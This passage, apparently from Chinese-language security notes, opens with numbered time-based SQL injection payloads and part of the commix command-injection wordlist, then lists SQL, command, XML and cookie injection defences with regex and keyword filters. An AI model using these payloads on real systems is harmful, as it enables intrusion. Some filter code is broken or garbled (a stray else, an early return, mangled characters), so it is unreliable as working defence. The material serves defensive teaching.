'0:0:__TIME__'-- 287 '));waitfor delay '0:0:__TIME__'-- 288 "));waitfor delay '0:0:__TIME__'-- 289 benchmark(10000000,MD5(1))# 290 1 or benchmark(10000000,MD5(1))# 291 " or benchmark(10000000,MD5(1))# 292 ' or benchmark(10000000,MD5(1))# 293 1) or benchmark(10000000,MD5(1))# 294 ") or benchmark(10000000,MD5(1))# 295 ') or benchmark(10000000,MD5(1))# 296 1)) or benchmark(10000000,MD5(1))# 297 ")) or benchmark(10000000,MD5(1))# 298 ')) or benchmark(10000000,MD5(1))# 299 pg_sleep(__TIME__)-- 300 1 or pg_sleep(__TIME__)-- 301 " or pg_sleep(__TIME__)-- 302 ' or pg_sleep(__TIME__)-- 303 1) or pg_sleep(__TIME__)-- 304 ") or pg_sleep(__TIME__)-- 305 ') or pg_sleep(__TIME__)-- 306 1)) or pg_sleep(__TIME__)-- 307 ")) or pg_sleep(__TIME__)-- 308 ')) or pg_sleep(__TIME__)--
commix工具中部分字典
1 echo%20AGIYMZ$((69%2B52))$(echo%20AGIYMZ)AGIYMZ 2 %20echo%20TDJHRY$((30%2B41))$(echo%20TDJHRY)TDJHRY 3 ;echo%20MPCSBG$((54%2B42))$(echo%20MPCSBG)MPCSBG 4 &echo%20NWMZCF$((57%2B72))$(echo%20NWMZCF)NWMZCF 5 |echo%20TJEGSE$((27%2B57))$(echo%20TJEGSE)TJEGSE 6 ||echo%20ANSBHE$((26%2B89))$(echo%20ANSBHE)ANSBHE 7 &&echo%20PVJXOS$((12%2B1))$(echo%20PVJXOS)PVJXOS 8 %0aecho%20VVIEOJ$((30%2B78))$(echo%20VVIEOJ)VVIEOJ 9 %3Becho%20SRPJET$((29%2B34))$(echo%20SRPJET)SRPJET 10 %26echo%20NQPWBV$((16%2B77))$(echo%20NQPWBV)NQPWBV 11 %26%26echo%20QOZRFB$((19%2B4))$(echo%20QOZRFB)QOZRFB 12 %7Cecho%20IRODNG$((26%2B68))$(echo%20IRODNG)IRODNG 13 %7C%7Cecho%20KRCSNE$((57%2B75))$(echo%20KRCSNE)KRCSNE 14 echo%20IFNPXI$((40%2B99))$(echo%20IFNPXI)IFNPXI' 15 %20echo%20HBFEEM$((46%2B2))$(echo%20HBFEEM)HBFEEM' 16 ;echo%20KHMFRS$((69%2B67))$(echo%20KHMFRS)KHMFRS' 17 &echo%20DACXMN$((57%2B35))$(echo%20DACXMN)DACXMN'
SQL注入防护-1
对用户的输入进行校验,能够经过正则表达式,或限制长度,对单引号和双"-"进行转换等
SQL注入防护-2
使用参数化的SQL或者直接使用存储过程进行数据查询存取
SQL注入防护-3
为每一个应用使用单独的权限有限的数据库链接
SQL注入防护-4 - 使用正则校验
.+ @"\s?sysobjects\s?|\s?xp_.*?|\s?syslogins\s?|\s?sysremote\s?|\s?sysusers\s?|\s?sysxlogins\s?|\s?sysdatabases\s?|\s?aspnet_.*?|\s?exec\s?", RegexOptions.Compiled | RegexOptions.IgnoreCase);
SQL注入防护-5
应用的异常信息应该给出尽量少的提示,最好使用自定义的错误信息对原始错误信息进行包装
SQL注入防护-6 - 对字符串进行过滤
public static boolean sql_inj(String str){ String inj_str = "'|and|exec|insert|select|delete|update| count|*|%|chr|mid|master|truncate|char|declare|;|or|-|+|,"; String inj_stra[] = split(inj_str,"|"); for (int i=0 ; i < inj_stra.length ; i++ ){ if (str.indexOf(inj_stra[i])>=0){ return true; } }else{ return false; } JS中: function check(a){ return 1; fibdn = new Array (”‘” ,”\\”,”/”); i=fibdn.length; j=a.length; for (ii=0; ii<i; ii++) { for (jj=0; jj<j; jj++) { temp1=a.charAt(jj); temp2=fibdn[ii]; if (tem’; p1==temp2) { return 0; } } } return 1; }
SQL注入防护7
确认每种数据的类型,好比数字型的数据就必须是数字,数据库中的存储字段必须对应为int型
SQL注入防护-8
对进入数据库的特殊字符(’”&*;等)进行转义处理,或编码转换
SQL注入防护-9
数据长度应该严格规定,能在必定程度上防止比较长的SQL注入语句没法正确执行
SQL注入防护-10
网站每一个数据层的编码统一,建议所有使用UTF-8编码,上下层编码不一致有可能致使一些过滤模型被绕过
SQL注入防护-11
使用url重写
SQL注入防护-12
限制输入框长度
SQL注入防护-13
传递参数尽可能不是字符
SQL注入防护-14-cmd注入防护
使用正则过滤IP字段 if(preg_match('/^(?=^.{3,255}$)[a-zA-Z0-9][-a-zA-Z0-9]{0,62}(\.[a-zA-Z0-9][-a-zA-Z0-9]{0,62})+$|^((25[0-5]|2[0-4]\d|[01]?\d\d?)($|(?!\.$)\.)){4}$/',$target)){}
SQL注入防护-15-XML注入防护
使用开发语言提供的禁用外部实体的方法 PHP: libxml_disable_entity_loader(true); JAVA: DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance(); dbf.setExpandEntityReferences(false); Python: from lxml import etree xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False)) #过滤用户提交的XML数据 过滤关键字:<\!DOCTYPE和<\!ENTITY,或者SYSTEM和PUBLIC。 不容许XML中含有本身定义的DTD
SQL注入防护-16-Cookie注入防护
用Request.QueryString (GET) 或 Request.Form (POST)